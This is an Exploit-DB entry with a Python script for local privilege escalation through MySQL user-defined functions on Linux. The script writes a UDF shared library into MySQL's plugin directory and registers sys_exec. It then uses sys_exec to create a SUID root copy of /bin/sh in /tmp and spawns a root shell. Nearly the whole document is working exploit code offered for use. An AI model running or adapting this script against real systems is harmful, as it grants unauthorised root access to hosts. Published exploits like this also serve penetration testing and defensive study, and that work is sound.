MySQL User-Defined (Linux) (x32/x86_64) - 'sys_exec' Local Privilege Escalation

EDB-ID:

46249

CVE:

N/A


Author:

d7x

Type:

local


Platform:

Linux

Date:

2019-01-28


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# Exploit Title: MySQL User-Defined (Linux) x32 / x86_64 sys_exec function local privilege escalation exploit
# Date: 24/01/2019
# Exploit Author: d7x
# Vendor Homepage: https://www.mysql.com
# Software Link: www.mysql.com
# Version: MySQL 4.x/5.x
# Tested on: Debian GNU/Linux 8.11 / mysql  Ver 14.14 Distrib 5.5.60, for debian-linux-gnu (x86_64) using readline 6.3
# CVE : N/A

'''
*** MySQL User-Defined (Linux) x32 / x86_64 sys_exec function local privilege escalation exploit ***


UDF lib shellcodes retrieved from metasploit
(there are windows .dll libraries within metasploit as well so this could be easily ported to Windows)

Based on the famous raptor_udf.c by Marco Ivaldi (EDB ID: 1518)
CVE: N/A
References:
https://dev.mysql.com/doc/refman/5.5/en/create-function-udf.html
https://www.exploit-db.com/exploits/1518
https://www.exploit-db.com/papers/44139/ - MySQL UDF Exploitation by Osanda Malith Jayathissa (@OsandaMalith)

Tested on 3.16.0-6-amd64 #1 SMP Debian 3.16.57-2 (2018-07-14) x86_64 GNU/Linux

@d7x_real
https://d7x.promiselabs.net
https://www.promiselabs.net
'''


import sys
import subprocess
import platform, random
import argparse
import os
import re
import pty

shellcode_x32 = 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shellcode_x64 = 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shellcode = shellcode_x32
if (platform.architecture()[0] == '64bit'):
 shellcode = shellcode_x64

# MySQL username and password: make sure you have FILE privileges and mysql is actually running as root
# username='root'
# password=''

###
#if len(sys.argv) != 2:
#	print "Usage: %s <username> <password>" % argv[0]

#username=sys.argv[1];
#password=sys.argv[2];
###

parser = argparse.ArgumentParser()
parser.add_argument('--username', '-u', help='MySQL username', type=str, required=True)
parser.add_argument('--password', '-p', help='MySQL password', type=str)

args = parser.parse_args()

username=args.username
password=args.password	

if not password:
	password=''
	
cmd='mysql -u root -p\'' + password + '\' -e "select @@plugin_dir \G"'
plugin_str = subprocess.check_output(cmd, shell=True)
plugin_dir = re.search('@plugin_dir: (\S*)', plugin_str)
res = bool(plugin_dir)

if not res:
 print "Error: could not locate the plugin directory"
 os.exit(1);
	
plugin_dir_ = plugin_dir.group(1)

print "Plugin dir is %s" % plugin_dir_

# file to save the udf so file to
udf_filename = 'udf' + str(random.randint(1000,10000)) + '.so'
udf_outfile = plugin_dir_ + udf_filename

# alternative way:
# set @outputpath := @@plugin_dir; set @outputpath := @@plugin_dir;

print "Trying to create a udf library...";
os.system('mysql -u root -p\'' + password + '\' -e "select binary 0x' + shellcode + ' into dumpfile \'%s\' \G"' % udf_outfile)
res = os.path.isfile(udf_outfile)

if not res:
 print "Error: could not create udf file in %s (mysql is either not running as root or may be file exists?)" % udf_outfile
 os.exit(1);

print "UDF library crated successfully: %s" % udf_outfile;
print "Trying to create sys_exec..."
os.system('mysql -u root -p\'' + password + '\' -e "create function sys_exec returns int soname \'%s\'\G"' % udf_filename)

print "Checking if sys_exec was crated..."
cmd='mysql -u root -p\'' + password + '\' -e "select * from mysql.func where name=\'sys_exec\' \G"';
res = subprocess.check_output(cmd, shell=True);

if (res == ''):
	print "sys_exec was not found (good luck next time!)"

if res:
	print "sys_exec was found: %s" % res
	print "Generating a suid binary in /tmp/sh..."
	os.system('mysql -u root -p\'' + password + '\' -e "select sys_exec(\'cp /bin/sh /tmp/; chown root:root /tmp/sh; chmod +s /tmp/sh\')"')
	
	print "Trying to spawn a root shell..."
	pty.spawn("/tmp/sh");